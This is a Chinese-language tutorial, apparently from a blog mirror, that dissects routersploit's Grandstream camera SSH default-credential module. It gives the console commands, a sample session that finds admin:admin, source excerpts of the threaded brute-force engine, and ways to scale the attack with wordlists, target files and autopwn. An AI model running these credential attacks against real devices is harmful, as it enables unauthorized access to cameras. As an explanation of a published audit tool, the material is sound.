routersploit 实战:Grandstream 摄像头 SSH 默认凭据检测模块(creds/cameras/grandstream/ssh_default_creds)深度解析
2026/9/23 7:23:33 网站建设 项目流程
  • 网络安全
  • 嵌入式

【免费下载链接】routersploit

Exploitation Framework for Embedded Devices

项目地址:https://gitcode.com/gh_mirrors/ro/routersploit
点击查看免费下载

导读

本文围绕 routersploit 项目中的creds/cameras/grandstream/ssh_default_creds模块展开,讲解如何对 Grandstream(潮流网络)摄像头开启的 SSH 服务执行默认凭据字典攻击:模块会依次尝试内置的"用户名:密码"组合,一旦命中即把有效凭据回显给用户。读完本文,你将掌握该模块的完整调用流程、全部可配置参数的含义与取值范围、底层 SSH 认证与多线程实现原理,以及如何用自定义字典和批量目标文件扩展它的实战能力。

模块是什么:对 Grandstream 摄像头 SSH 服务的默认凭据字典攻击

根据官方文档 ssh_default_creds.md 的定义:

Module performs dictionary attack with default credentials against Grandstream Camera SSH service. If valid credentials are found, they are displayed to the user.

即该模块针对 Grandstream 摄像头的 SSH 服务执行默认凭据字典攻击,一旦发现有效凭据,立即向用户展示。它归属于creds/cameras/grandstream目录,与同目录下的 ftp_default_creds.py、telnet_default_creds.py 共同构成了针对 Grandstream 设备的完整默认凭据检测矩阵——分别覆盖 FTP、SSH、Telnet 三种远程管理服务。

从源码看,该模块本身是一个极薄的适配层(ssh_default_creds.py),它直接继承自通用模块routersploit.modules.creds.generic.ssh_default中的Exploit类,仅通过__info__元数据声明了厂商与设备信息("devices": ("Grandstream Camera",)),并覆写了几个关键默认值。因此,理解这个模块的关键在于理解它背后那套通用的 SSH 默认凭据攻击引擎。

模块选项总览

模块实例化后,通过show options可以看到以下可配置项。其中targetportthreadsdefaults由 Grandstream 适配层直接声明(ssh_default_creds.py),stop_on_successverbosity则从通用 SSH 模块继承而来(ssh_default.py)。

选项默认值类型说明
target""(空)OptIP目标 IPv4/IPv6 地址,或file://开头的目标列表文件路径
port22OptPort目标 SSH 端口,合法范围 1~65535
threads1OptInteger并发线程数,Grandstream 适配层默认 1
defaultsadmin:adminOptWordlist凭据字典,格式为User:Pass,多个用逗号分隔,或以file://指向字典文件
stop_on_successtrueOptBool命中第一组有效凭据后是否立即停止攻击
verbositytrueOptBool是否逐条回显认证尝试过程

值得注意的细节:Grandstream 适配层将threads默认值收敛为1(通用模块默认为8),并把defaults收窄为单一的admin:admin(通用模块默认加载全局字典 defaults.txt,共 653 条user:pass组合)。这一设计意图很明显——厂商适配层给出"最可能的候选",用户可以在此基础上自行扩充。

各选项的赋值校验由 option.py 中的选项类型实现:

  • OptIP(option.py)通过is_ipv4/is_ipv6正则校验地址合法性,非法的地址会抛出OptionValidationError
  • OptPort(option.py)要求取值落在0 < value <= 65535区间;
  • OptWordlist(option.py)支持两种形态:逗号分隔的内联字典,或file://指向的字典文件——后者在读取时逐行 strip,文件不存在会直接报错。

标准使用流程(Verification Steps)

官方文档给出的标准验证流程共 5 步,在 routersploit 交互式解释器中执行:

  1. 启动框架:./rsf.py(入口脚本见 rsf.py);
  2. 加载模块:use creds/cameras/grandstream/ssh_default_creds
  3. 设置目标:set target [TargetIP]
  4. 执行攻击:run
  5. 若发现有效凭据,结果将直接回显给用户。

这几条命令在 interpreter.py 中有对应实现:command_use(interpreter.py)把点分路径拼装为routersploit.modules.creds.cameras.grandstream.ssh_default_creds后通过import_exploit动态加载模块;command_set(interpreter.py)先校验选项是否存在于current_module.options,再调用setattr完成赋值并打印key => valuecommand_run(interpreter.py)则输出Running module ...并触发current_module.run(),同时捕获KeyboardInterrupt以便用户中途取消。

典型运行场景

以下完整输出来自官方文档 ssh_default_creds.md 的 Scenarios 一节,展示了一次完整的攻击会话:

rsf > use creds/cameras/grandstream/ssh_default_creds rsf (Grandstream Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Grandstream Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin

这段输出完整映射了攻击引擎的各个阶段:

  • Target exposes SSH service来自check()连通性探测的成功分支;
  • thread-0 thread is starting.../thread is terminated.对应run_threads创建的线程生命周期;
  • 每一条SSH Authentication Failed / Successful均由 SSH 客户端的login()方法打印;
  • 末尾的Elapsed time由 exploit.py 中的run_threads统计;
  • 最终的凭据表格则通过print_table("Target", "Port", "Service", "Username", "Password")为表头渲染。

攻击引擎源码级剖析

1. run → attack 的调用链

模块实例的run()来自通用 SSH 模块(ssh_default.py):

def run(self): self.credentials = [] self.attack()

attack()@multi装饰器包裹(ssh_default.py):

@multi def attack(self): if not self.check(): return print_status("Starting default credentials attack against SSH service") data = LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data) if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Service", "Username", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found")

流程可概括为:先check()确认目标暴露 SSH 服务;再基于LockedIterator包装的字典启动多线程;攻击结束后根据self.credentials是否非空决定打印成功表格还是报错。

2. check():攻击前的服务探测

def check(self): ssh_client = self.ssh_create() if ssh_client.test_connect(): print_status("Target exposes SSH service", verbose=self.verbosity) return True print_status("Target does not expose SSH", verbose=self.verbosity) return False

test_connect()(ssh_client.py)的实现很巧妙:它用固定的用户名root加 12 位随机密码去连接目标(random_text(12),见 utils.py)。若目标返回paramiko.AuthenticationException——说明 SSH 服务在线、只是认证失败——则判定"暴露 SSH 服务"并返回True;若连接阶段就抛其他异常(超时、拒绝连接等)则返回False

3. 多线程攻击与凭据消费

target_function是每个线程的执行体(ssh_default.py):

def target_function(self, running, data): while running.is_set(): try: username, password = data.next().split(":", 1) ssh_client = self.ssh_create() if ssh_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ssh_client.close() except StopIteration: break

要点有三:

  • 线程安全dataLockedIterator(exploit.py),内部持有一把threading.Lock,保证多个线程不会取到同一条凭据;
  • 凭据解析split(":", 1)只按第一个冒号切分,因此密码本身可以包含冒号;
  • 命中即停running.clear()会让所有线程在下一次循环检查时退出;target_protocolSSHClient基类固定为Protocol.SSH(ssh_client.py),这也是结果表格中Service列显示ssh的来源。

run_threads(exploit.py)会为每个线程命名thread-0thread-1……并在全部线程结束后打印耗时。

4. SSH 客户端与 paramiko 细节

认证动作最终落到SSHCli.login()(ssh_client.py):

self.ssh_client = paramiko.SSHClient() self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

连接参数包含:timeout=SSH_TIMEOUT(8 秒,ssh_client.py)、banner_timeout=SSH_TIMEOUTlook_for_keys=Falseallow_agent=False。后两个参数意味着攻击过程不会去读取本机 SSH 私钥或调用 ssh-agent,从而保证认证结果完全由字典中的密码决定,不会产生"非预期命中"。

认证结果分三种处理:paramiko.AuthenticationException打印认证失败并关闭连接;其他异常打印SSH Error while authenticating;成功则打印成功信息并返回True,同时记录凭据。

实战扩展一:自定义凭据字典

Grandstream 适配层默认只携带admin:admin一条凭据,但在真实环境中,同一型号不同固件版本的默认口令可能不同。三种常用扩展方式:

方式 1:内联字典(逗号分隔)

rsf (Grandstream Camera Default SSH Creds) > set defaults admin:admin,admin:12345,root:root

方式 2:字典文件(file://

将凭据逐行写入文件(每行一条user:pass),然后:

rsf (Grandstream Camera Default SSH Creds) > set defaults file:///path/to/grandstream_creds.txt

OptWordlist在读取file://文件时会逐行strip(),空行和首尾空白会被自动清理;如果文件路径不存在,__set__阶段就会抛出OptionValidationError("File '...' does not exist.")(option.py)。

方式 3:加载全量内置字典

defaults显式指向仓库内置的全局字典 defaults.txt(653 条常见设备默认凭据,涵盖Admin:adminAdministrator:changemeroot:root等典型组合),适合在不确定具体型号默认口令时扩大覆盖面:

rsf (Grandstream Camera Default SSH Creds) > set defaults file://routersploit/resources/wordlists/defaults.txt

注意:字典越大、threads越高,攻击越快,但对目标设备的连接压力也越大,请自行权衡。

实战扩展二:批量目标与全局选项

批量目标target同样支持file://前缀,文件每行一个ip:port@multi装饰器(exploit.py)会逐行解析,若行内带端口则覆盖port,否则沿用当前port值,对每个目标依次执行一次完整攻击。

全局选项:若要对多个不同模块复用同一个target,可改用setg设置全局选项(interpreter.py 的command_setg会把选项写入GLOBAL_OPTS),避免重复输入。

模块测试与回归保障

仓库为每个凭据模块都配套了单元测试,test_ssh_default_creds.py 验证了该模块的关键契约:

exploit = Exploit() assert exploit.target == "" assert exploit.port == 22 assert exploit.threads == 1 assert exploit.defaults == ["admin:admin"] assert exploit.stop_on_success is True assert exploit.verbosity is True

测试断言了:模块默认target为空、port为 22、threads为 1、defaults恰为["admin:admin"],且stop_on_successverbosity均默认为true。随后测试把targetport指向一个 mock 的 SSH 服务,验证check()返回Falsecheck_default()返回Nonerun()返回None(即无凭据时模块安静结束、不抛异常)。这套测试同时证明了 Grandstream 适配层确实收窄了通用模块的默认值——这正是厂商适配模块的设计模式:继承引擎、覆写默认值、声明元数据。

与其他 Grandstream 凭据模块的配合

Grandstream 摄像头通常同时暴露多种管理服务,单一 SSH 模块只能覆盖 22 端口这一条路径。在实战中,建议按以下顺序组合检测:

模块路径覆盖服务默认端口
creds/cameras/grandstream/ssh_default_credsSSH22
creds/cameras/grandstream/telnet_default_credsTelnet23
creds/cameras/grandstream/ftp_default_credsFTP21

三者共享同一套"继承通用引擎 + 覆写默认值"的实现模式,使用方式完全一致,仅凭据字典与目标端口不同。此外,routersploit 的 autopwn 扫描器(autopwn.py)可以自动遍历摄像头/路由器目标并批量调用对应的默认凭据模块,适合在网段内做大规模巡检。

小结

creds/cameras/grandstream/ssh_default_creds是一个"麻雀虽小、五脏俱全"的典型凭据检测模块:对外它只暴露了 4 个厂商相关选项,对内却完整复用了 routersploit 的 SSH 客户端、参数校验、多线程调度、字典迭代与结果表格渲染整套引擎。通过 ssh_default_creds.py、ssh_default.py、ssh_client.py 三层源码,你可以清晰看到"适配层 → 通用引擎 → 协议客户端"的职责分层;而自定义字典、file://批量目标、setg全局选项等能力,让这个模块在真实设备巡检中可以灵活扩展,从单点验证升级为批量默认口令排查工具。

  • 网络安全
  • 嵌入式

【免费下载链接】routersploit

Exploitation Framework for Embedded Devices

项目地址:https://gitcode.com/gh_mirrors/ro/routersploit
点击查看免费下载

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询